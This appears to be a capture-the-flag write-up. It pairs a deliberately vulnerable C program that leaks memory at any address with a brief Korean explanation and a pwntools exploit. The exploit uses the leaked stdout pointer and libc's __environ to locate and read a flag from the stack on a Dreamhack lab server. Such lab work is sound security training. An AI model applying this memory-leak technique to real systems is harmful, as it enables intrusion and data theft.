// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/home/environ_exercise/flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
environ에 관한 문제인 듯 하다. 우리는 현재 스택의 주소를 모르는데, 그것이 environ에는 적혀있다. 또한 스택 간의 오프셋은 유지되기에 그 점을 이용하여 문제를 쉽게 해결할 수 있겠다.
from pwn import *
REMOTE = True
e = ELF('./environ_exercise')
if REMOTE == False:
p = process('./environ_exercise')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
stdout_offset = libc.symbols['_IO_2_1_stdout_']
__environ_offset = libc.symbols['__environ']
else:
p = remote('host3.dreamhack.games', 8748)
stdout_offset = 0x3ec760
__environ_offset = 0x61c118
__environ_flag_offset = 0x538
p.recvuntil('stdout: ')
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - stdout_offset
__environ_addr = libc_base + __environ_offset
p.sendline(str(1))
p.recvuntil('Addr: ')
p.sendline(str(__environ_addr))
__environ = u64(p.recvn(6)+'\x00\x00')
print(hex(__environ))
flag_addr = __environ - __environ_flag_offset - 0x1000
print('read_flag stack start = '+str(hex(flag_addr)))
p.sendline("1")
p.recvuntil('Addr: ')
p.sendline(str(flag_addr))
p.interactive()